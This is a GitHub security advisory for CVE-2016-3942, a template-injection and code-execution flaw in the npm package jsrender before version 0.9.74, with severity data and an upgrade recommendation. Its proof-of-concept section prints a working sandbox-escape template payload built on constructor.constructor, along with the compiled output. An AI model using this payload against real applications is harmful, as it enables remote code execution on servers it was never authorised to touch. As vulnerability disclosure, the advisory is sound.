GitHub Advisoryadvisory · npm
GHSA-r87w-47m8-22w3 Template Injection in jsrender
MEDIUM
Official page ↗
- Aliases
- CVE-2016-3942
- Ecosystem
- npm
- Packages
- jsrender
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
- Weaknesses
- CWE-94
- Reviewed
- 2020-08-31
Affected packages
• npm jsrender: < 0.9.74 → fixed in 0.9.74
Description
Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.
Proof of Concept
```js
//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
```
```js
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
```
Recommendation
Update to version 0.9.74 or later.
Related
Alias · not in database (1)
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness